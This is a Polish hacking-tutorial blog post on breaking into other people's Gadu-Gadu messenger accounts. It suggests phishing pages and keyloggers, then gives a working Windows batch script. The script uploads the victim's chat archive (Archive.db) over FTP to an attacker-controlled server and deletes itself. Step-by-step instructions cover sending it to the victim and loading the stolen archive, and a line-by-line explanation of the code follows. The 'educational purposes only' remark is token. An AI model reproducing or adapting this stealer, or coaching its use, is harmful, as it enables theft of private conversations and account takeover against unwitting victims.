Jak włamać się na gg?

Jeśli chciałbyś odzyskać z któregoś komputera archiwum gg, liste kontaktów bądź zalogować się do numeru gadu-gadu to ten wpis jest przeznaczony właśnie dla Ciebie. Coraz więcej osób zadaje mi pytanie jak włamać się na gadu-gadu. Odpowiedź nie jest trywialna bo sposobów na włam jest wiele. Metoda nie obejmuje gg w telefonie :). Pierwszą metodą włamania dla przyszłych hakerów, którą zaproponuje do wykonania sobie samemu to próba stworzenia strony phishingowej (http://www.gg.pl/) zupełnie tak jak w naszym poprzednim wpisie jak włamać się na fb, możesz spróbować tylko do celów edukacyjnych! 🙂

Jak włamać się na gg?

Do wpisu niedługo pojawi się również filmy które tak lubicie. Dodatkowo powiem Tobie,  jeżeli interesują Cię tematy hakerstwa to polecam również:

• Różne metody hakowania konta fb
• Powinieneś śledzić nas na Facebooku TUTAJ

Sposób nr 1: 

Dawno temu powstała świetna, dosyć innowacyjna wtedy aplikacja o nazwie Złodziej GG v.2.0, choć program już nie działa (być może działa, lecz był dedykowane do wykradania archiwum, kontaktów i konfiguracji z Gadu-Gadu w wersji 7.6 pod Windows XP) to warty jest uwagi ze sposobu działania. Zrzut ekranu z programu jest pokazany na początku wpisu. Dlaczego o nim wspominam? Dzisiejszy sposób włamania na gadu-gadu będzie opierał się na tym pomyśle.

Jak wykradanie archiwum działało?

Program Złodziej gg za pomocą ścieżki do plików w X:\Documents and Settings\XXX\Gadu-Gadu (w Windows XP):

• config.dat – hasło, numer i cała konfiguracja tutaj się znajdowała
• archives.dat – plik ten przechowuje wszystkie rozmowy zachowane w archiwum
• smseab.dat – przechowuje listę kontaktów

Pomysł polegał na spakowaniu i wysłaniu tych plików na podany podczas konfiguracji adres e-mail.

Sposób nr 2:

Kolejnym sposobem na włamanie się komuś na gg jest wykorzystanie programu typu Keylogger. Sposób jest analogiczny do opisanego w wpisie rózne metody hakowania konta Facebook. Program tego typu, wysłany ofierze ma za zadanie zapisywanie każdego wciśniętego klawisza na komputerze a następnie zebrane dane zostają przesłane do cyberprzestępcy – hakera. Należy mieć na uwadze że tego typu oprogramowanie po jakimś czasie jest wykrywalne przez antywirusy.

Sposób nr 3:

Jeśli jakimś cudem znamy hasło do numeru gg i chcielibyśmy poczytać archiwum ofiary, warto zajrzeć na stronę http://www.gg.pl/  a następnie obejrzeć sobie przebieg rozmów, archiwizacja w chmurze online domyślnie w nowszych wersja GG jest włączona. Osobiście polecam wyłączyć tę opcje u siebie logując się na gg.pl -> ustawienia ->moje konto -> ustawienia prywatności -> Archiwizuj wiadomości przesunąć suwak na wyłączone.

Jak włamać się komuś na gg w praktyce?

Co będziemy potrzebowali do włamania na gadu:

• Konto darmowe (może być darmowy taki jak cba.pl) zapraszam do wpisu Darmowy serwer FTP – Jak zdobyć i skonfigurować?
• FileZilla –bardzo dobry zupełnie darmowy klient FTP

Zaczynamy (ścieżka w tym przykładzie jest przetestowana dla Gadu-Gadu w wersji 10.5.2.13164)!

1. Za pomocą swojego ulubionego edytora tworzymy nowy plik tekstowy (polecam Notepad++)
2. Wklejamy poniższy kod do niego:

   @echo off
   
   REM haker.edu.pl---------------------------------
   set login_ftp=LOGIN_FTP
   set haslo_ftp=HASLO_FTP
   set serwer_ftp=SERWER_FTP
   set gg_10_archiwum=%userprofile%\AppData\Roaming\Gadu-Gadu 10\NUMER_GG\Archive.db
   REM ---------------------------------------------
   
   echo %login_ftp%> gg.txt
   echo %haslo_ftp%>> gg.txt
   echo put "%gg_10_archiwum%">> gg.txt
   echo close >> gg.txt
   echo bye >> gg.txt
   
   ftp.exe -s:gg.txt %serwer_ftp%
   
   del gg.txt
   del %0 
   exit

3. Modyfikujemy trzy parametry: LOGIN_FTP, HASLO_FTP, SERWER_FTP, NUMER_GG (oczywiście ofiary).
4. Testujemy – warto najpierw przetestować konfiguracje zanim wyślemy to ofierze.
5. Wysyłamy plik ofierze.
6. Czekamy aż uruchomi i sprawdzamy czy plik już pojawił się na ftp…
7. Jeśli posiadamy już plik wystarczy utworzyć nowe konto gadu-gadu i podmienić plik z naszego gg na plik wykradziony z ftp Archive.db.
8. Uruchamiamy gadu-gadu i… okazuje się że mamy archiwum ofiary. Jeśli chcielibyśmy listę kontaktów, profil konfiguracyjny itd… wystarczy samemu się rozejrzeć po folderze C:\Users\NAZWA_UZYTKOWNIKA_KOMPUTERA\AppData\Roaming\Gadu-Gadu 10\NUMER_GG\ i dopisać odpowiednie linijki zaraz za 12 linią w naszym skrypcie. (jeżeli folder taki nie istnieje to musisz włączyć pokazywanie ukrytych plików)
9. Gotowe! Teraz już wiesz jak włamać się na gg.

Należy pamiętać że różne wersje gg używają różnych nazw plików i ścieżek, system Windows XP posiada plik archiwum w C:\Program Files\Gadu-Gadu\users\NUMER_GG\Archives.dat. 

Opcjonalne parametru aplikacji ftp.exe

Dla ciekawskich program ftp.exe posiada również inne parametry oprócz -s:

C:\Users\Patryk>ftp.exe /?

Przesyła pliki do i z komputera, na którym jest uruchomiona usługa serwera FTP
(niekiedy nosi nazwę demon). FTP może być używane interakcyjnie.

FTP [-v] [-d] [-i] [-g] [-s:nazwa_pliku] [-a] [-A] [-x:bufor_wysyłany]
[-r:bufor_odbierany] [-b:bufory_asynchroniczne] [-w:rozmiar_okna] [host]

-v Eliminuje wyświetlanie odpowiedzi zdalnego serwera.
-n Eliminuje automatyczne logowanie przy początkowym
połączeniu.
-i Wyłącza interakcyjne komunikaty podczas przesyłania
wielu plików.
-d Włącza debugowanie.
-g Wyłącza globbing nazwy pliku (zob. polecenie GLOB).
-s:nazwa_pliku Określa plik tekstowy zawierający polecenia FTP; polecenia
zostaną automatyczne wywołane po otwarciu sesji FTP.
-a Użyj dowolnego lokalnego interfejsu podczas nawiązywania
połączenia.
-A Zaloguj się jako użytkownik anonimowy.
-x:bufor wysyłany Zastępuje domyślny rozmiar (8192) SO_SNDBUF.
-r:bufor odbierany Zastępuje domyślny rozmiar (8192) SO_RCVBUF.
-b:licznik asynch Zastępuje domyślny licznik asynchroniczny (3).
-w:rozmiar_okna Zastępuje domyślny rozmiar (65535) buforu transmisji.
host Określa nazwę hosta lub adres IP zdalnego hosta, z którym
jest nawiązywane połączenie.

PS:
– polecenia mget i mput przyjmują y/n/q jako tak/nie/zakończ (yes/no/quit).
– Aby anulować polecenie, naciśnij klawisze Ctrl+C.

C:\Users\HakerEduPL>

Skrypt pod roboczym tytułem „jak włamać się do Gadu-Gadu” – objaśnienie

Jeżeli chcesz dogłębnie zrozumieć działanie skryptu, polecam zapoznać się z jakimś kursem programowania w batch/plikach wsadowych lub z tym opisem od Microsoftu poleceń. Poniżej linia po linii objaśniam kod:

Linia 1: określa czy wyświetlać informacje wpisywane na ekranie (konsoli), my wyłączamy

Linia 4: tak ustawia się zmienne w plikach wsadowych, wpisujemy tu login do naszego serwera ftp

Linia 5: zmienna, wpisujemy tu hasło do naszego ftp

Linia 6: adres naszego serwera ftp

Linia 7: jedna z najważniejszych, jest to ścieżka do pliku archiwum, który chcemy wykraść. Należy uzupełnić tutaj numer gg (oczywiście można się pokusić samemu o zaprogramowanie wyszukiwania wszystkich folderów numerów gg). Użyliśmy tutaj również zmiennej środowiskowej %userprofile%, w tym miejscu automatycznie przypisuje się ścieżka do folderu użytkownika np. C:\Users\HakerEduPL

Linia 10-12: używamy wcześniej zdefiniowanych zmiennych i zapisujemy je do pliku gg.txt który wykorzystujemy w kolejnym poleceniu. Ważne ejst to aby nie było spacji z lewej strony pomiędzy strzałeczkami „>” i „>>”. Jeśli by były login, hasło i serwer na końcu by miały spacje i logowanie by się nie powiodło. Czym się różni pojedyncza „strzałeczka” (przekierowanie strumienia) od podwójnej? Pojedyncza strzałeczka „>” – jeżeli istnieje już plik o nazwie gg.txt, to go nadpisze (usunie i stworzy nowy), podwójna dopisuje tekst na końcu pliku jeżeli już istnieje, jeżeli nie istnieje tworzy go i też dopisuje 🙂

Linia 13: rozłącza się z serwerem ftp

Linia 14: wychodzi z programu ftp.exe

Linia 16: uruchamia program konsolowy ftp.exe, pierwszy parametr -s: nakazuje wczytać polecenia z nowo utworzonego pliku gg.txt i je wykonać, kolejny parametr to zmienna w miejsce której wstawiany jest adres do naszego serwera ftp.

Linia 18: usuwa plik gg.txt

Linia 19: usuwa nasz skrypt (plik.bat), zmienna %0 oznacza automatyczne wstawianie pliku.

Linia 20: zamyka konsole

Zakończenie

Teraz to już naprawde koniec tego poradnika jak włamać się na gg, teraz już wiesz „jak odzyskać hasło do gg
” :). Jeżeli dotrwałeś dotąd i interesują Cię sztuczki wykorzystujące ftp.exe polecam inne wpisy:

• jak włamać się na facebooka
• jak złamać hasło ftp? HYDRA!

Pozdrawiamy! 🙂